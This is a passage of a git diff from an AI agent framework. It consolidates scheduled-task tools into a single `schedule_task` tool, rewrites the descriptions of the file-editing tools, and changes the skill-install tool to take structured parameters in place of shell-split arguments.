与后门调查、蜜罐结果分析、补丁与漏洞风险检查、弱密码排查、基线任务查看、合规检查、授权管理、系统审计和快速风险体检场景。只要用户提到青藤、青藤云安全、青藤主机安全的相关操作时，必须先加载本 skill。本 skill 是 青藤 平台操作的唯一决策入口：在未阅读本 skill 并完成模式判断前，不要直接调用任何 `qingteng_*` tool。 +description: 用于处理青藤云安全平台相关任务，支持通过API或者结合浏览器进行操作。只要用户提到青藤、青藤云安全、青藤主机安全的相关操作时，必须先加载本 skill。本 skill 是 青藤 平台操作的唯一决策入口：在未阅读本 skill 并完成模式判断前，不要直接调用任何 `qingteng_*` tool。 --- # Qingteng Use diff --git a/.flocks/plugins/skills/sangfor-xdr-use/SKILL.md b/.flocks/plugins/skills/sangfor-xdr-use/SKILL.md index 710cd9afe..ff178452a 100644 --- a/.flocks/plugins/skills/sangfor-xdr-use/SKILL.md +++ b/.flocks/plugins/skills/sangfor-xdr-use/SKILL.md @@ -1,6 +1,6 @@ --- name: sangfor-xdr-use -description: 用于处理深信服 XDR（扩展检测与响应）相关任务，适合通过 API 或者结合浏览器进行以下任务：告警查询与处置、事件调查与响应、脆弱性管理、资产盘点、主机隔离、白名单管理、系统运维状态查看、节点健康监控等。只要用户提到 深信服 XDR、XDR、sangfor XDR 等需求时，必须先加载本 skill。本 skill 是 XDR 平台操作的唯一决策入口：在未阅读本 skill 并完成模式判断前，不要直接调用任何 `sangfor_xdr_*` tool 或使用 browser-use skill。 +description: 用于处理深信服 XDR（扩展检测与响应）相关任务，支持通过 API 或者结合浏览器操作。只要用户提到 深信服 XDR、XDR、sangfor XDR 等需求时，必须先加载本 skill。本 skill 是 XDR 平台操作的唯一决策入口：在未阅读本 skill 并完成模式判断前，不要直接调用任何 `sangfor_xdr_*` tool 或使用 browser-use skill。 --- # 深信服 XDR Use diff --git a/.flocks/plugins/skills/skyeye-use/SKILL.md b/.flocks/plugins/skills/skyeye-use/SKILL.md index 66b9f644f..4ca9227eb 100644 --- a/.flocks/plugins/skills/skyeye-use/SKILL.md +++ b/.flocks/plugins/skills/skyeye-use/SKILL.md @@ -1,6 +1,6 @@ --- name: skyeye-use -description: 用于处理 SkyEye/天眼/网神分析平台相关任务，适合通过API或者结合浏览器进行以下任务：告警列表查询、威胁级别筛选、攻击阶段分析、攻击结果排查、看板统计查看、趋势分析、系统状态查看、告警报告导出、PCAP 下载和样本文件获取等场景。只要用户提到 SkyEye、天眼、网神分析平台的相关操作时，必须先加载本 skill。本 skill 是 天眼 平台操作的唯一决策入口：在未阅读本 skill 并完成模式判断前，不要直接调用任何 `skyeye_*` tool。 +description: 用于处理 SkyEye/天眼/网神分析平台相关任务，支持通过API或者结合浏览器进行操作。只要用户提到 SkyEye、天眼、网神分析平台的相关操作时，必须先加载本 skill。本 skill 是 天眼 平台操作的唯一决策入口：在未阅读本 skill 并完成模式判断前，不要直接调用任何 `skyeye_*` tool。 --- # SkyEye Use diff --git a/.flocks/plugins/skills/tdp-use/SKILL.md b/.flocks/plugins/skills/tdp-use/SKILL.md index 15f556540..30628edc4 100644 --- a/.flocks/plugins/skills/tdp-use/SKILL.md +++ b/.flocks/plugins/skills/tdp-use/SKILL.md @@ -1,6 +1,6 @@ --- name: tdp-use -description: 用于处理 TDP 威胁检测平台相关任务，适合通过API或者结合浏览器进行以下任务：安全态势查看、告警检索、告警获取、威胁事件调查、受害主机排查、资产风险查询、等场景。只要用户提到需要 打开/操作/获取/浏览 TDP、微步 NDR等需求时，必须先加载本 skill。本 skill 是 TDP 平台操作的唯一决策入口：在未阅读本 skill 并完成模式判断前，不要直接调用任何 `tdp_*` tool。 +description: 用于处理 TDP 威胁检测平台相关任务，支持通过API或者结合浏览器进行操作。只要用户提到需要 打开/操作/获取/浏览 TDP、微步 NDR等需求时，必须先加载本 skill。本 skill 是 TDP 平台操作的唯一决策入口：在未阅读本 skill 并完成模式判断前，不要直接调用任何 `tdp_*` tool。 --- # TDP Use diff --git a/flocks/agent/agents/rex/prompt_builder.py b/flocks/agent/agents/rex/prompt_builder.py index 1e74df7ab..e74413457 100644 --- a/flocks/agent/agents/rex/prompt_builder.py +++ b/flocks/agent/agents/rex/prompt_builder.py @@ -434,4 +434,4 @@ def _build_im_send_pointer_section() -> str: return """### IM Messaging When the user wants to send a message to a connected messaging channel (including IM platforms and email), call `im_send_message`. -When creating a scheduled task that sends to a connected messaging channel later, resolve the target `session_id` with `im_send_message(resolve_only=true)` before calling `schedule_task_create`.""" +When creating a scheduled task that sends to a connected messaging channel later, resolve the target `session_id` with `im_send_message(resolve_only=true)` before calling `schedule_task(action="create", resource_type="scheduler", ...)`.""" diff --git a/flocks/command/command.py b/flocks/command/command.py index c9322ba72..f21d9e9e0 100644 --- a/flocks/command/command.py +++ b/flocks/command/command.py @@ -274,14 +274,21 @@ def _ensure_defaults(cls) -> None: CommandDef( name="tasks", description="Show task center overview", - template="Use the schedule_task_list tool to show the current task center overview including running, queued, and recently completed tasks. Present the results clearly.", + template=( + "Use schedule_task with action='list' and resource_type='execution' " + "to show running, queued, and recently completed task executions. " + "Present the results clearly." + ), execution_kind="llm", allow_attachments=True, ), CommandDef( name="queue", description="Show task queue status", - template="Use the schedule_task_list tool with status filter to show the current task queue status: running tasks, queued tasks, and queue configuration. Present the results clearly.", + template=( + "Use schedule_task with action='list' and resource_type='execution' " + "to show running and queued task executions. Present the results clearly." + ), execution_kind="llm", allow_attachments=True, ), diff --git a/flocks/task/executor.py b/flocks/task/executor.py index 875cddf32..d356fd58c 100644 --- a/flocks/task/executor.py +++ b/flocks/task/executor.py @@ -270,7 +270,7 @@ def _build_prompt( header = ( "[Scheduled task automated execution — " "complete the task described below and return your findings. " - "Do NOT call schedule_task_create or schedule any new tasks.]\n\n" + "Do NOT call schedule_task or schedule any new tasks.]\n\n" ) return header + clean_body body = base_body diff --git a/flocks/tool/catalog.py b/flocks/tool/catalog.py index c37384cae..67577e910 100644 --- a/flocks/tool/catalog.py +++ b/flocks/tool/catalog.py @@ -38,12 +38,7 @@ class ToolCatalogMetadata(BaseModel): "websearch": ["web", "research"], "delegate_task": ["agent", "delegation"], "task": ["agent", "delegation"], - "schedule_task_create": ["scheduled-task", "task-management"], - "schedule_task_list": ["scheduled-task", "task-management"], - "schedule_task_status": ["scheduled-task", "task-management"], - "schedule_task_update": ["scheduled-task", "task-management"], - "schedule_task_delete": ["scheduled-task", "task-management"], - "schedule_task_rerun": ["scheduled-task", "task-management"], + "schedule_task": ["scheduled-task", "task-management"], "todo": ["task-management", "progress-tracking"], "run_workflow": ["workflow", "execution"], "run_workflow_node": ["workflow", "execution"], diff --git a/flocks/tool/channel/im_send_message.py b/flocks/tool/channel/im_send_message.py index 83d1af039..b57255a78 100644 --- a/flocks/tool/channel/im_send_message.py +++ b/flocks/tool/channel/im_send_message.py @@ -251,7 +251,10 @@ async def _resolve_target( type=ParameterType.BOOLEAN, required=False, default=False, - description="Resolve and return session_id/channel_type without sending. Use before schedule_task_create.", + description=( + "Resolve and return session_id/channel_type without sending. Use before " + "schedule_task(action='create', resource_type='scheduler')." + ), ), ], ) diff --git a/flocks/tool/file/apply_patch.py b/flocks/tool/file/apply_patch.py index e7ef476e1..eaa9447d8 100644 --- a/flocks/tool/file/apply_patch.py +++ b/flocks/tool/file/apply_patch.py @@ -20,27 +20,29 @@ log = Log.create(service="tool.apply_patch") -DESCRIPTION = """Apply a patch to modify files. +DESCRIPTION = """Apply one coordinated patch across multiple files. -This tool is designed for advanced patch-based editing, supporting: -- File creation (add) -- File modification (update) -- File deletion (delete) -- File moves (update with move_path) +Use this tool when a single change needs to modify multiple files, or when +files must be added, deleted, or moved. + +Do not use this tool when a dedicated tool is a better fit: +- Change one existing file, including multiple disjoint replacements -> `edit` +- Create one new file -> `write` + +`patchText` uses the Flocks patch format, not a standard git diff: -Patch format: *** Begin Patch -*** Add File: path/to/new/file.py -content of new file -*** Update File: path/to/existing/file.py -@@@ ... @@@ +*** Add File: path/to/new_file.py +new file content +*** Update File: path/to/existing_file.py +@@ -10,3 +10,3 @@ + context line -old line +new line -*** Delete File: path/to/delete.py -*** End Patch - -Use the edit tool for simple string replacements. -Use apply_patch for complex multi-file changes.""" + context line +*** Update File: old/path.py -> new/path.py +*** Delete File: path/to/deleted_file.py +*** End Patch""" @dataclass diff --git a/flocks/tool/file/edit.py b/flocks/tool/file/edit.py index 9e0233cd4..77c5c4f43 100644 --- a/flocks/tool/file/edit.py +++ b/flocks/tool/file/edit.py @@ -27,16 +27,20 @@ log = Log.create(service="tool.edit") -DESCRIPTION = """Edit a single file using exact text replacement. - -Usage: -- Prefer `edits` for one or more disjoint replacements in the same file. -- Every `edits[].oldString` is matched against the original file content, not after earlier edits are applied. -- Do not use overlapping or nested edits. Merge nearby changes into one edit. -- Legacy `oldString`/`newString`/`replaceAll` is still supported for single-edit callers. -- Use `replaceAll` only with legacy single-edit arguments when you want to replace every occurrence in the file. -- CRITICAL: match text exactly including whitespace and newlines. -- The tool preserves the file's existing encoding and dominant line-ending style.""" +DESCRIPTION = """Edit a single existing file using targeted text replacement. + +Use this tool for one or more changes within the same file. + +Do not use this tool when a dedicated tool is a better fit: +- Create a new file -> `write` +- Modify, add, delete, or move multiple files in one coordinated change -> `apply_patch` + +Usage notes: +- Prefer `edits` for one or more disjoint replacements. +- Every `edits[].oldString` is matched against the original file snapshot. +- Each `oldString` must be unique, and edits must not overlap. +- The tool preserves the file's encoding and line-ending style. +- Legacy `oldString` / `newString` / `replaceAll` remains supported.""" def normalize_line_endings(text: str) -> str: diff --git a/flocks/tool/skill/flocks_skills.py b/flocks/tool/skill/flocks_skills.py index ca7a68689..5a1c2ff21 100644 --- a/flocks/tool/skill/flocks_skills.py +++ b/flocks/tool/skill/flocks_skills.py @@ -12,7 +12,6 @@ from __future__ import annotations import asyncio -import shlex import shutil from typing import Optional @@ -32,56 +31,13 @@ _TIMEOUT_SEC = 120 _MAX_OUTPUT = 8_000 # chars — keep responses concise for the model -_DESCRIPTION = """\ -Search and install skills from the **external public registry**, manage \ -dependency status, and remove installed skills. Use this tool (not bash) for \ -any `flocks skills` operation. - -Do not use this tool when a dedicated tool is a better fit: -- To load an already-installed skill: use skill_load instead. -- To view installed / locally available skills: use run_slash_command(command="skills") instead. - -## Subcommands - -**find ** - Search external public skill registries by keyword (local, clawhub, skills.sh, - SafeSkill when available, and curated GitHub collections). - This does NOT show installed skills — it discovers skills that can be installed. - → Use BEFORE telling the user "I can't do X". A matching skill may exist. - Example: flocks_skills(subcommand="find", args="malware phishing") - -**install ** - Install a skill from an external public source. - Source formats: - github:// e.g. github:octocat/skills/find-ioc - clawhub: e.g. clawhub:ndr-alert-analysis - skills-sh:// e.g. skills-sh:owner/repo/code-review - safeskill://... e.g. safeskill://official/acme/code-review@1.2.0 - safeskill: SafeSkill source alias - https://... direct SKILL.md URL - The tool auto-adds --yes so non-interactive agent calls do not hang on - downstream CLI confirmation prompts (e.g. `skills add`). - → After install, always call status to check if deps are missing. - Example: flocks_skills(subcommand="install", args="github:owner/repo/skill-name") - -**status** - Show all discovered skills with eligibility info (missing bins / env vars). - → Run after install or when the user asks "which skills are ready?". - Example: flocks_skills(subcommand="status") - -**install-deps ** - Install the tool dependencies declared in a skill's SKILL.md - (brew packages, npm globals, uv/pip packages, go binaries). - → Run when status shows a skill is not eligible. - Example: flocks_skills(subcommand="install-deps", args="find-ioc") - -**remove ** - Uninstall a user-managed skill from ~/.flocks. The tool adds --yes - automatically so non-interactive agent calls do not hang on confirmation. - Example: flocks_skills(subcommand="remove", args="old-skill") -""" +_DESCRIPTION = ( + "Manage skills from external registries. Actions: find by query, install from " + "source, show dependency status, install a skill's dependencies, or remove a " + "user-managed skill. Use skill_load instead to load an installed skill." +) -# Allowed subcommands — enforced to prevent arbitrary shell injection via args. +# Allowed subcommands — enforced to prevent arbitrary command execution. # Ordered for consistent display in tool schema enum and error messages. _ALLOWED_SUBCOMMANDS = frozenset( ["find", "install", "status", "install-deps", "remove"] @@ -92,30 +48,6 @@ _READ_ONLY_SUBCOMMANDS = frozenset({"find", "status"}) -def _parse_install_args(args: str) -> tuple[Optional[str], str]: - tokens = shlex.split(args.strip()) if args.strip() else [] - source: Optional[str] = None - scope = "global" - i = 0 - while i < len(tokens): - token = tokens[i] - if token == "--scope" and i + 1 < len(tokens): - scope = tokens[i + 1] - i += 2 - continue - if token.startswith("--scope="): - scope = token.split("=", 1)[1] - i += 1 - continue - if token in {"--yes", "-y"}: - i += 1 - continue - if source is None: - source = token - i += 1 - return source, scope - - def _flocks_executable() -> Optional[str]: """Locate the `flocks` CLI on PATH.""" return shutil.which("flocks") @@ -137,24 +69,44 @@ def _flocks_executable() -> Optional[str]: enum=_SUBCOMMAND_ENUM, ), ToolParameter( - name="args", + name="query", + type=ParameterType.STRING, + description="Registry search query for subcommand=find.", + required=False, + ), + ToolParameter( + name="source", type=ParameterType.STRING, description=( - "Arguments for the subcommand. " - "For find: search query. " - "For install: source string. " - "For install-deps / remove: skill name. " - "For status: leave empty." + "Skill source for subcommand=install, such as " + "github:owner/repo/skill, clawhub:name, skills-sh:owner/repo/skill, " + "safeskill://..., or an HTTPS SKILL.md URL." ), required=False, - default="", + ), + ToolParameter( + name="skill_name", + type=ParameterType.STRING, + description="Installed skill name for install-deps or remove.", + required=False, + ), + ToolParameter( + name="scope", + type=ParameterType.STRING, + description="Installation scope for subcommand=install.", + required=False, + default="global", + enum=["global", "project"], ), ], ) async def flocks_skills( ctx: ToolContext, subcommand: str, - args: str = "", + query: Optional[str] = None, + source: Optional[str] = None, + skill_name: Optional[str] = None, + scope: str = "global", ) -> ToolResult: """Execute a `flocks skills ` command and return its output.""" if subcommand not in _ALLOWED_SUBCOMMANDS: @@ -167,7 +119,6 @@ async def flocks_skills( ) if subcommand == "install": - source, scope = _parse_install_args(args) if not source: return ToolResult( success=False, @@ -180,7 +131,10 @@ async def flocks_skills( ) await ctx.ask( permission="bash", - patterns=[f"flocks skills install {source} --scope {scope} --yes"], + patterns=[ + f"flocks skills install {source} " + f"--scope {scope} --yes" + ], always=["*flocks skills *"], metadata={"subcommand": subcommand}, ) @@ -224,11 +178,22 @@ async def flocks_skills( ), ) + command_args: list[str] = [] + if subcommand == "find": + if not query: + return ToolResult(success=False, error="find requires query") + command_args.append(query) + elif subcommand in {"install-deps", "remove"}: + if not skill_name: + return ToolResult( + success=False, + error=f"{subcommand} requires skill_name", + ) + command_args.append(skill_name) + # Build the command list — no shell interpolation, safe from injection. cmd: list[str] = [flocks_bin, "skills", subcommand] - if args.strip(): - # shlex.split preserves quoted tokens (e.g. paths with spaces). - cmd += shlex.split(args.strip()) + cmd.extend(command_args) # `skills add` (downstream of install for skills-sh sources) and remove # both prompt interactively. Auto-add --yes so non-interactive agent # calls don't hang. diff --git a/flocks/tool/system/flocks_mcp.py b/flocks/tool/system/flocks_mcp.py index 92b39622f..7442f393b 100644 --- a/flocks/tool/system/flocks_mcp.py +++ b/flocks/tool/system/flocks_mcp.py @@ -46,6 +46,7 @@ type=ParameterType.STRING, description="Action to perform: list | add | remove | connect | disconnect", required=True, + enum=["list", "add", "remove", "connect", "disconnect"], ), ToolParameter( name="name", @@ -68,6 +69,46 @@ "Use {secret:key_name} for sensitive values in environment/headers." ), required=False, + json_schema={ + "type": "object", + "properties": { + "type": { + "type": "string", + "enum": ["local", "remote", "stdio", "sse"], + }, + "url": {"type": "string"}, + "command": { + "type": "array", + "items": {"type": "string"}, + }, + "args": { + "type": "array", + "items": {"type": "string"}, + }, + "environment": { + "type": "object", + "additionalProperties": {"type": "string"}, + }, + "env": { + "type": "object", + "additionalProperties": {"type": "string"}, + }, + "headers": { + "type": "object", + "additionalProperties": {"type": "string"}, + }, + "auth": {"type": "object"}, + "cwd": {"type": "string"}, + "enabled": {"type": "boolean"}, + "timeout": {"type": "number"}, + "transport": {"type": "string"}, + "auto_refresh": {"type": "boolean"}, + "refresh_interval": {"type": "integer"}, + "metadata": {"type": "object"}, + "retry": {"type": "object"}, + }, + "additionalProperties": False, + }, ), ], ) diff --git a/flocks/tool/task/schedule_task_center.py b/flocks/tool/task/schedule_task_center.py index aa1c6775e..04c2c7d12 100644 --- a/flocks/tool/task/schedule_task_center.py +++ b/flocks/tool/task/schedule_task_center.py @@ -1,8 +1,8 @@ """ Schedule Task Center Tools for Rex -Registers scheduled task management tools into ToolRegistry so Rex can -create, list, update, delete, and query delayed tasks via natural language. +Registers the unified schedule_task tool into ToolRegistry so Rex can manage +scheduler definitions and execution instances via natural language. """ import json @@ -108,193 +108,9 @@ def _normalize_schedule_task_create_inputs( # ====================================================================== -# schedule_task_create +# Task operation implementations # ====================================================================== -@ToolRegistry.register_function( - name="schedule_task_create", - description=( - "Create a new task (queued, one-time scheduled, or recurring scheduled). " - "Only call this when the user explicitly asks for deferred/delayed execution " - "(e.g. 'add to queue', 'do it later', 'schedule daily at 8am', 'run once tonight at 6pm'). " - "Do NOT create a task for immediate requests.\n\n" - "IMPORTANT — Clarify schedule type before creating:\n" - "When a user mentions a specific time (e.g. '今晚6点', '明天下午3点') WITHOUT clearly " - "indicating recurrence, you MUST ask to confirm intent before calling this tool. " - "Ask: '请问这个任务是只执行一次，还是每天在这个时间重复执行？'\n" - "Recurrence signals (use type=scheduled, run_once=false): " - "'每天', '每周', '每月', '每小时', '定期', '每个工作日', '每30分钟'\n" - "One-time signals (use type=scheduled, run_once=true): " - "'一次', '这次', specific date like '明天下午3点', '下周五晚上', '2024-01-15 18:00'\n" - "Queue-only (use type=queued, no schedule): " - "'等会', '稍后', '待会', '有空时', '不着急'\n\n" - "IMPORTANT — Messaging channel session resolution before creating:\n" - "If the task involves sending a message to a connected messaging channel " - "(企业微信/WeCom、微信/Weixin/WeChat、飞书/Feishu、钉钉/DingTalk、" - "Telegram、WhatsApp、邮件/Email), " - "you MUST resolve the target session_id and channel_type with im_send_message(resolve_only=true) " - "BEFORE calling this tool. " - "Use channel_type=wecom for 企业微信, channel_type=weixin for 微信, " - "channel_type=telegram for Telegram, channel_type=whatsapp for WhatsApp, " - "and channel_type=email for 邮件. " - "Embed both into description and user_prompt. " - "If the user cannot provide a session_id, do NOT create the task." - ), - category=ToolCategory.SYSTEM, - parameters=[ - ToolParameter( - name="title", - type=ParameterType.STRING, - description="Short title for the task", - required=True, - ), - ToolParameter( - name="description", - type=ParameterType.STRING, - description=( - "Detailed task description. " - "If the task involves sending a message to a connected messaging channel " - "(WeCom/Weixin/Feishu/DingTalk/Telegram/WhatsApp/Email), " - "MUST include the resolved channel_type and session_id here. " - "Use channel_type=wecom for 企业微信, channel_type=weixin for 微信, " - "channel_type=telegram for Telegram, channel_type=whatsapp for WhatsApp, " - "and channel_type=email for 邮件. " - "Example: '每天早上8点向飞书群发送日报 channel_type=feishu session_id=ses_abc123'" - ), - required=True, - ), - ToolParameter( - name="type", - type=ParameterType.STRING, - description=( - "Task type: " - "'queued' = deferred but no schedule (run when queue is free); " - "'scheduled' = triggered at a specific time (one-time or recurring, " - "controlled by run_once)" - ), - required=False, - enum=["queued", "scheduled"], - ), - ToolParameter( - name="schedule_type", - type=ParameterType.STRING, - description=( - "Legacy alias for task schedule kind. " - "Accepted values include 'queued', 'scheduled', 'cron', " - "'once', 'one_time'. Prefer using type + run_once." - ), - required=False, - ), - ToolParameter( - name="schedule", - type=ParameterType.STRING, - description=( - "Legacy schedule alias. Can be a cron string like '*/5 * * * *' " - "or a JSON string containing cron/runAt/runOnce/timezone." - ), - required=False, - ), - ToolParameter( - name="run_once", - type=ParameterType.BOOLEAN, - description=( - "Only for type=scheduled. " - "True = run exactly once at the specified time then disable. " - "False (default) = recurring, repeats per cron expression." - ), - required=False, - default=False, - ), - ToolParameter( - name="priority", - type=ParameterType.STRING, - description="Priority level", - required=False, - default="normal", - enum=["urgent", "high", "normal", "low"], - ), - ToolParameter( - name="run_at", - type=ParameterType.STRING, - description=( - "ISO 8601 datetime string for one-time execution (used when run_once=True). " - "e.g. '2024-01-15T18:00:00+08:00'. " - "If only a time like '今晚18:00' is given, compute the full datetime. " - "Required when run_once=True and no cron is provided." - ), - required=False, - ), - ToolParameter( - name="cron", - type=ParameterType.STRING, - description=( - "Cron expression for recurring tasks (run_once=False), " - "e.g. '0 8 * * *' for daily 8am. " - "Can also be used with run_once=True to fire at the next cron occurrence." - ), - required=False, - ), - ToolParameter( - name="cron_description", - type=ParameterType.STRING, - description=( - "Human-readable Chinese description of the schedule. " - "Always provide this when creating a scheduled task, e.g. " - "'每天早上8点', '每周一09:00', '今晚18:00执行一次', '2025-01-15 下午3点执行一次'. " - "This is shown directly in the UI." - ), - required=False, - ), - ToolParameter( - name="timezone", - type=ParameterType.STRING, - description="Timezone for scheduled tasks (default: Asia/Shanghai)", - required=False, - default="Asia/Shanghai", - ), - ToolParameter( - name="user_prompt", - type=ParameterType.STRING, - description=( - "The EXECUTION CONTENT ONLY — what the agent should actually do when this task runs. " - "You MUST extract and restate only the action part from the user's message, " - "discarding any scheduling/creation meta-instructions such as " - "'帮我创建定时任务', '在XX点执行一次', '加到任务队列', '等会帮我' etc. " - "Think of it as: what would you tell the agent to do if the user had said it directly? " - "Example — user says: '创建个定时任务，在14:45执行一次：查询threatbook.cn的情报' " - "→ user_prompt should be: '查询 threatbook.cn 的情报' " - "Example — user says: '帮我加个任务，明天上午扫描一下内网资产' " - "→ user_prompt should be: '扫描内网资产' " - "CRITICAL — IM tasks: If the action involves sending a message to an IM platform " - "(WeCom/Weixin/Feishu/DingTalk), you MUST include the resolved channel_type and session_id " - "in user_prompt. NEVER omit them — the task runs unattended and cannot ask the user. " - "Use channel_type=wecom for 企业微信 and channel_type=weixin for 微信. " - "Example — user says: '每天8点发飞书消息给研发群' (session already resolved to ses_abc123) " - "→ user_prompt should be: '向飞书(channel_type=feishu) session_id=ses_abc123 发送消息：<消息内容>' " - "This text is displayed in the UI as '任务补充信息'." - ), - required=False, - ), - ToolParameter( - name="enabled", - type=ParameterType.BOOLEAN, - description=( - "Legacy compatibility field. False creates the task and then disables it. " - "True keeps it active." - ), - required=False, - ), - ToolParameter( - name="action", - type=ParameterType.STRING, - description=( - "Legacy compatibility field sometimes sent by models during task creation. " - "Ignored by schedule_task_create." - ), - required=False, - ), - ], -) async def schedule_task_create( ctx: ToolContext, title: str, @@ -410,76 +226,12 @@ async def schedule_task_create( ) -# ====================================================================== -# schedule_task_list -# ====================================================================== - _SCHEDULER_STATUSES = {"active", "disabled", "paused"} _EXECUTION_STATUSES = {"pending", "queued", "running", "completed", "failed", "cancelled", "paused"} _EXECUTION_TYPES = {"queued", "execution"} -_VALID_TYPES = {"scheduled"} | _EXECUTION_TYPES +_VALID_TYPES = {"scheduled", "scheduler"} | _EXECUTION_TYPES -@ToolRegistry.register_function( - name="schedule_task_list", - description=( - "List tasks with optional filters.\n\n" - "Routing rules (IMPORTANT - read before calling):\n" - "- No parameters -> lists scheduled task definitions (schedulers).\n" - "- status='active' -> lists active scheduled tasks.\n" - "- status='disabled' -> lists disabled scheduled tasks.\n" - "- legacy status='paused' is still accepted and mapped to disabled schedulers " - "or cancelled executions depending on query target.\n" - "- status='running' / 'completed' / 'failed' / 'pending' / 'queued' / 'cancelled' " - "-> lists task executions with that status.\n" - "- type='scheduled' -> forces listing schedulers.\n" - "- type='execution' -> forces listing executions.\n" - "- type='queued' -> legacy alias for type='execution'.\n\n" - "Common scenarios:\n" - "- 'How many scheduled tasks are there?' / 'List scheduled tasks' " - "-> call with no parameters.\n" - "- 'How many tasks are currently running?' -> call with status='running'.\n" - "- 'Which scheduled tasks are disabled?' -> call with status='disabled'.\n" - "- 'Show old paused tasks' -> call with status='paused'." - ), - category=ToolCategory.SYSTEM, - parameters=[ - ToolParameter( - name="status", - type=ParameterType.STRING, - description=( - "Filter by status. " - "Scheduler statuses: 'active', 'disabled'. " - "Execution statuses: 'pending', 'queued', 'running', 'completed', " - "'failed', 'cancelled'. Legacy alias: 'paused'." - ), - required=False, - enum=[ - "active", "disabled", "paused", - "pending", "queued", "running", "completed", "failed", "cancelled", - ], - ), - ToolParameter( - name="type", - type=ParameterType.STRING, - description=( - "Force query target: 'scheduled' = list schedulers (task definitions), " - "'execution' = list task executions (task run history). " - "'queued' is a legacy alias for 'execution'. " - "If omitted, the target is inferred from status." - ), - required=False, - enum=["queued", "execution", "scheduled"], - ), - ToolParameter( - name="limit", - type=ParameterType.INTEGER, - description="Max results (default 10)", - required=False, - default=10, - ), - ], -) async def schedule_task_list( ctx: ToolContext, status: Optional[str] = None, @@ -498,7 +250,7 @@ async def schedule_task_list( ), ) - if type == "scheduled": + if type in {"scheduled", "scheduler"}: query_schedulers = True elif type in _EXECUTION_TYPES: query_schedulers = False @@ -536,10 +288,10 @@ async def schedule_task_list( scheduler_status = SchedulerStatus.DISABLED tasks, total = await TaskManager.list_schedulers( status=scheduler_status, - scheduled_only=True, + scheduled_only=type != "scheduler", limit=limit, ) - label = "Scheduled tasks" + label = "Task schedulers" if type == "scheduler" else "Scheduled tasks" else: try: mapped_status = "cancelled" if status == "paused" else status @@ -565,31 +317,27 @@ async def schedule_task_list( return ToolResult(success=True, output="\n".join(lines)) -# ====================================================================== -# schedule_task_status -# ====================================================================== - -@ToolRegistry.register_function( - name="schedule_task_status", - description="Get detailed status and result of a specific task", - category=ToolCategory.SYSTEM, - parameters=[ - ToolParameter( - name="task_id", - type=ParameterType.STRING, - description="Task ID", - required=True, - ), - ], -) -async def schedule_task_status(ctx: ToolContext, task_id: str) -> ToolResult: +async def schedule_task_status( + ctx: ToolContext, + task_id: str, + resource_type: Optional[str] = None, +) -> ToolResult: from flocks.task.manager import TaskManager - task = await TaskManager.get_execution(task_id) - if task and task.delivery_status.value == "unread": - await TaskManager.mark_notified(task_id) - if task is None: + if resource_type == "scheduler": task = await TaskManager.get_scheduler(task_id) + elif resource_type == "execution": + task = await TaskManager.get_execution(task_id) + else: + task = await TaskManager.get_execution(task_id) + if task is None: + task = await TaskManager.get_scheduler(task_id) + if ( + resource_type != "scheduler" + and task + and getattr(getattr(task, "delivery_status", None), "value", None) == "unread" + ): + await TaskManager.mark_notified(task_id) if task is None: return ToolResult(success=False, error=f"Task {task_id} not found") @@ -600,129 +348,6 @@ async def schedule_task_status(ctx: ToolContext, task_id: str) -> ToolResult: ) -# ====================================================================== -# schedule_task_update -# ====================================================================== - -@ToolRegistry.register_function( - name="schedule_task_update", - description=( - "Update a task. By default action=update, which can modify scheduler " - "fields like title, description, priority, cron, run_once, run_at, " - "cron_description, timezone, and user_prompt. Supports enable/disable " - "for scheduled tasks, and cancel/retry " - "for execution tasks.\n\n" - "IMPORTANT:\n" - "- Pass update fields as top-level arguments. DO NOT wrap them inside " - "a `fields` object or JSON string.\n" - "- To stop a scheduled task, use action='disable', 'pause', or 'stop'. " - "To resume it, use action='enable', 'resume', or 'start'.\n" - "- When changing a schedule, also pass a human-readable `title` and " - "`cron_description` that reflect the new schedule, otherwise the task " - "title shown in the UI may remain the old wording.\n\n" - "Good example for recurring schedule update:\n" - "schedule_task_update(task_id='tsk_xxx', cron='*/10 * * * *', " - "title='每10分钟执行关键词搜索摘要生成工作流', " - "cron_description='每10分钟执行一次')\n" - "Good example for stopping a scheduled task:\n" - "schedule_task_update(task_id='tsk_xxx', action='disable')\n" - "Bad example:\n" - "schedule_task_update(task_id='tsk_xxx', fields='{\"cron\":\"*/10 * * * *\"}')" - ), - category=ToolCategory.SYSTEM, - parameters=[ - ToolParameter( - name="task_id", - type=ParameterType.STRING, - description="Task ID", - required=True, - ), - ToolParameter( - name="action", - type=ParameterType.STRING, - description="Action to perform", - required=False, - default="update", - enum=[ - "cancel", "retry", "update", - "disable", "enable", "pause", "resume", "stop", "start", - ], - ), - ToolParameter( - name="priority", - type=ParameterType.STRING, - description="New priority (only for action=update)", - required=False, - enum=["urgent", "high", "normal", "low"], - ), - ToolParameter( - name="title", - type=ParameterType.STRING, - description=( - "New title (only for action=update). When changing cron/run_at, " - "also update title so the UI wording matches the new schedule." - ), - required=False, - ), - ToolParameter( - name="description", - type=ParameterType.STRING, - description="New description (only for action=update)", - required=False, - ), - ToolParameter( - name="run_once", - type=ParameterType.BOOLEAN, - description="Update one-time vs recurring schedule", - required=False, - ), - ToolParameter( - name="run_at", - type=ParameterType.STRING, - description="ISO 8601 datetime for one-time scheduled execution", - required=False, - ), - ToolParameter( - name="cron", - type=ParameterType.STRING, - description=( - "Cron expression for recurring scheduled execution. Pass this as " - "a top-level argument, not inside a `fields` wrapper." - ), - required=False, - ), - ToolParameter( - name="cron_description", - type=ParameterType.STRING, - description=( - "Human-readable Chinese schedule description shown in UI. " - "When changing schedule, provide this together with title." - ), - required=False, - ), - ToolParameter( - name="timezone", - type=ParameterType.STRING, - description="Timezone for scheduled tasks", - required=False, - ), - ToolParameter( - name="user_prompt", - type=ParameterType.STRING, - description="Execution prompt stored with the scheduler", - required=False, - ), - ToolParameter( - name="enabled", - type=ParameterType.BOOLEAN, - description=( - "Enable or disable a scheduled task. False stops it; True resumes it. " - "Can be used with action=update as a compatibility shortcut." - ), - required=False, - ), - ], -) async def schedule_task_update( ctx: ToolContext, task_id: str, @@ -795,66 +420,339 @@ async def schedule_task_update( ) -# ====================================================================== -# schedule_task_delete -# ====================================================================== - -@ToolRegistry.register_function( - name="schedule_task_delete", - description="Delete a task permanently", - category=ToolCategory.SYSTEM, - parameters=[ - ToolParameter( - name="task_id", - type=ParameterType.STRING, - description="Task ID", - required=True, - ), - ], -) -async def schedule_task_delete(ctx: ToolContext, task_id: str) -> ToolResult: +async def schedule_task_delete( + ctx: ToolContext, + task_id: str, + resource_type: Optional[str] = None, +) -> ToolResult: from flocks.task.manager import TaskManager - execution = await 